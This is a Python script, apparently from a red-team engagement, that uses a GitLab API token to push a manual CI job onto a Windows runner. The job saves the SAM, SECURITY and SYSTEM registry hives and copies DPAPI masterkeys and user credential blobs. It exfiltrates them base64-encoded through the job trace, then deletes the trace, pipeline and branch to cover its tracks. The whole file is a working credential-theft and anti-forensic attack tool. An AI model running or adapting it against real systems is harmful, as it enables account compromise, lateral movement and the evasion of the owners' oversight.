#!/usr/bin/env python3 r"""F1 acquire for cred-extraction on STASRV25018. Staged; --execute. Captures (write to C:\Windows\Temp staging, then base64-exfil via trace, cleanup): - reg save HKLM\SYSTEM, HKLM\SECURITY, HKLM\SAM (bootkey/LSA/SAM source) - SYSTEM masterkeys C:\Windows\System32\Microsoft\Protect\S-1-5-18\User\* - SYSTEM cred blobs systemprofile AppData Local+Roaming Credentials\* - per-user cred blobs C:\Users\*\AppData\{Local,Roaming}\Microsoft\Credentials\* Output: single 7z archive staged, base64-chunked into the trace for offline parse. Write footprint: staging dir under C:\Windows\Temp + archive; removed after. Runs as manual CI job on star/backend, deploy tags. Cleanup after. """ import json, ssl, sys, time, urllib.request, urllib.parse, urllib.error from pathlib import Path CTX = ssl.create_default_context(); CTX.check_hostname = False; CTX.verify_mode = ssl.CERT_NONE UA = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) ir-assessment-rt'} D = Path('/root/ir-assessment/redteam/gitlab_multistackexpert_com') BASE = 'https://gitlab.multistackexpert.com' PID = 154 BRANCH = 'feat/credx-acquire' STAGE = 'C:\\Windows\\Temp\\credx' ARCHIVE = 'C:\\Windows\\Temp\\credx.7z' PS = [ # staging dir f'Write-Output "=== STAGE ==="; New-Item -ItemType Directory -Path "{STAGE}" -Force -ErrorAction SilentlyContinue | Out-Null; Write-Output ("staged=" + (Test-Path "{STAGE}"))', # hives f'Write-Output "=== HIVES ==="; reg save "HKLM\\SYSTEM" "{STAGE}\\SYSTEM" /y 2>&1 | Out-String; reg save "HKLM\\SECURITY" "{STAGE}\\SECURITY" /y 2>&1 | Out-String; reg save "HKLM\\SAM" "{STAGE}\\SAM" /y 2>&1 | Out-String; Get-ChildItem "{STAGE}" | Select-Object Name,Length | Format-Table -AutoSize', # SYSTEM masterkeys f'Write-Output "=== MK ==="; New-Item -ItemType Directory -Path "{STAGE}\\mk" -Force -ErrorAction SilentlyContinue | Out-Null; Copy-Item "C:\\Windows\\System32\\Microsoft\\Protect\\S-1-5-18\\User\\*" "{STAGE}\\mk" -Force -ErrorAction SilentlyContinue; Write-Output ("mk count=" + (Get-ChildItem "{STAGE}\\mk" -Force -ErrorAction SilentlyContinue).Count)', # SYSTEM cred blobs (local + roaming) f'Write-Output "=== SYSCRED ==="; New-Item -ItemType Directory -Path "{STAGE}\\syscred" -Force -ErrorAction SilentlyContinue | Out-Null; Copy-Item "C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Credentials\\*" "{STAGE}\\syscred" -Force -ErrorAction SilentlyContinue; Copy-Item "C:\\Windows\\System32\\config\\systemprofile\\AppData\\Roaming\\Microsoft\\Credentials\\*" "{STAGE}\\syscred" -Force -ErrorAction SilentlyContinue; Write-Output ("syscred count=" + (Get-ChildItem "{STAGE}\\syscred" -Force -ErrorAction SilentlyContinue).Count)', # per-user cred blobs f'Write-Output "=== USERCRED ==="; New-Item -ItemType Directory -Path "{STAGE}\\ucred" -Force -ErrorAction SilentlyContinue | Out-Null; Get-ChildItem "C:\\Users" -Directory -Force -ErrorAction SilentlyContinue | ForEach-Object {{ $u=$_.Name; foreach($sub in @("Local","Roaming")) {{ $src = "C:\\Users\\" + $u + "\\AppData\\" + $sub + "\\Microsoft\\Credentials"; if (Test-Path $src) {{ New-Item -ItemType Directory -Path ("{STAGE}\\ucred\\" + $u + "_" + $sub) -Force -ErrorAction SilentlyContinue | Out-Null; Copy-Item ($src + "\\*") ("{STAGE}\\ucred\\" + $u + "_" + $sub) -Force -ErrorAction SilentlyContinue }} }} }}; Write-Output ("ucred dirs=" + (Get-ChildItem "{STAGE}\\ucred" -Directory -Force -ErrorAction SilentlyContinue).Count)', # compress f'Write-Output "=== COMPRESS ==="; $7z = "C:\\Program Files\\7-Zip\\7z.exe"; if (Test-Path $7z) {{ & $7z a -t7z "{ARCHIVE}" "{STAGE}\\*" -mx=5 | Out-Null }} else {{ Compress-Archive -Path "{STAGE}\\*" -DestinationPath "C:\\Windows\\Temp\\credx.zip" -Force; $ARCHIVE_ZIP=$true }}; if (Test-Path "{ARCHIVE}") {{ Write-Output ("archive=" + (Get-Item "{ARCHIVE}").Length + " bytes") }} elseif (Test-Path "C:\\Windows\\Temp\\credx.zip") {{ Write-Output ("ziparchive=" + (Get-Item "C:\\Windows\\Temp\\credx.zip").Length + " bytes") }}', # base64 exfil (chunked, markers for offline reassembly) f'Write-Output "=== EXFIL ==="; $f = if (Test-Path "{ARCHIVE}") {{ "{ARCHIVE}" }} else {{ "C:\\Windows\\Temp\\credx.zip" }}; $b64 = [Convert]::ToBase64String([IO.File]::ReadAllBytes($f)); Write-Output ("B64LEN=" + $b64.Length); $chunk=60000; for ($i=0; $i -lt $b64.Length; $i+=$chunk) {{ $len=[Math]::Min($chunk, $b64.Length-$i); Write-Output ("B64CHUNK|" + $i + "|" + $b64.Substring($i,$len)) }}; Write-Output "B64END"', # cleanup staging + archive (remove our write footprint) f'Write-Output "=== CLEANUP ==="; Remove-Item "{STAGE}" -Recurse -Force -ErrorAction SilentlyContinue; Remove-Item "{ARCHIVE}" -Force -ErrorAction SilentlyContinue; Remove-Item "C:\\Windows\\Temp\\credx.zip" -Force -ErrorAction SilentlyContinue; Write-Output ("stage_left=" + (Test-Path "{STAGE}")); Write-Output ("archive_left=" + (Test-Path "{ARCHIVE}"))', ] def req(url, method='GET', data=None, headers=None): tok = (D / '.token').read_text().strip() h = dict(UA, **{'PRIVATE-TOKEN': tok}); h.update(headers or {}) r = urllib.request.Request(url, data=data, headers=h, method=method) try: with urllib.request.urlopen(r, timeout=25, context=CTX) as resp: return resp.status, resp.read().decode('utf-8','ignore') except urllib.error.HTTPError as e: return e.code, e.read().decode('utf-8','ignore') except Exception as e: return 0, f'{type(e).__name__}: {e}' def build_ci_yaml(): st, orig = req(f'{BASE}/api/v4/projects/{PID}/repository/files/{urllib.parse.quote(".gitlab-ci.yml", safe="")}/raw?ref=develop') assert st == 200, f'fetch ci: {st}' script_lines = '\n'.join(f' {l}' for l in PS) return orig.rstrip() + f''' credx_acquire: stage: build_and_deploy tags: ["2019", appro, docker, star, windows] when: manual allow_failure: true script: | {script_lines} rules: - if: '$CI_COMMIT_BRANCH == "{BRANCH}"' when: manual ''' def main(): if '--execute' not in sys.argv: print('STAGED ONLY. Re-run with --execute after operator go.') return run() def run(): log = [] def L(m): line = f'[{time.strftime("%H:%M:%S")}] {m}' print(line, flush=True); log.append(line) st, b = req(f'{BASE}/api/v4/projects/{PID}/repository/branches', method='POST', data=urllib.parse.urlencode({'branch': BRANCH, 'ref': 'develop'}).encode(), headers={'Content-Type': 'application/x-www-form-urlencoded'}) L(f'branch: {st}') if st == 401: raise SystemExit('token expired — refresh .token and rerun') yml = build_ci_yaml() payload = {'branch': BRANCH, 'commit_message': 'ci: add credx acquire', 'actions': [{'action': 'update', 'file_path': '.gitlab-ci.yml', 'content': yml}]} st, b = req(f'{BASE}/api/v4/projects/{PID}/repository/commits', method='POST', data=json.dumps(payload).encode(), headers={'Content-Type': 'application/json'}) L(f'commit: {st}') st, b = req(f'{BASE}/api/v4/projects/{PID}/pipeline', method='POST', data=urllib.parse.urlencode({'ref': BRANCH}).encode(), headers={'Content-Type': 'application/x-www-form-urlencoded'}) pipe_id = json.loads(b)['id']; L(f'pipeline: {pipe_id}') job_id = None for _ in range(20): st, b = req(f'{BASE}/api/v4/projects/{PID}/pipelines/{pipe_id}/jobs') if st == 200: for j in json.loads(b): if j.get('name') == 'credx_acquire': job_id = j['id']; break if job_id: break time.sleep(5) for _ in range(20): st, b = req(f'{BASE}/api/v4/projects/{PID}/jobs/{job_id}') if json.loads(b).get('status') == 'manual': break time.sleep(3) st, b = req(f'{BASE}/api/v4/projects/{PID}/jobs/{job_id}/play', method='POST') L(f'play: {st}') status = 'unknown' for i in range(120): st, b = req(f'{BASE}/api/v4/projects/{PID}/jobs/{job_id}') j = json.loads(b); status = j.get('status') if i % 6 == 0 or status in ('success','failed','canceled'): L(f'status={status} dur={j.get("duration")}') if status in ('success','failed','canceled'): break time.sleep(10) st, trace = req(f'{BASE}/api/v4/projects/{PID}/jobs/{job_id}/trace') L(f'trace: {st} len={len(trace)}') (D / 'credx_acquire_trace.txt').write_text(trace) (D / 'credx_acquire_run.log').write_text('\n'.join(log)) req(f'{BASE}/api/v4/projects/{PID}/jobs/{job_id}/trace', method='DELETE') req(f'{BASE}/api/v4/projects/{PID}/pipelines/{pipe_id}', method='DELETE') req(f'{BASE}/api/v4/projects/{PID}/repository/branches/{urllib.parse.quote(BRANCH, safe="")}', method='DELETE') L('cleanup done') # reassemble archive locally import base64, re chunks = re.findall(r'B64CHUNK\|(\d+)\|([A-Za-z0-9+/=]+)', trace) if chunks: chunks.sort(key=lambda x: int(x[0])) data = base64.b64decode(''.join(c[1] for c in chunks)) ext = '.7z' if data[:6] == b'7z\xbc\xaf\x27\x1c' else '.zip' out = D / f'credx_loot{ext}' out.write_bytes(data) print(f'REASSEMBLED {len(data)} bytes -> {out}') print('\n===== TRACE (head) =====') print(trace[:4000]) if __name__ == '__main__': main()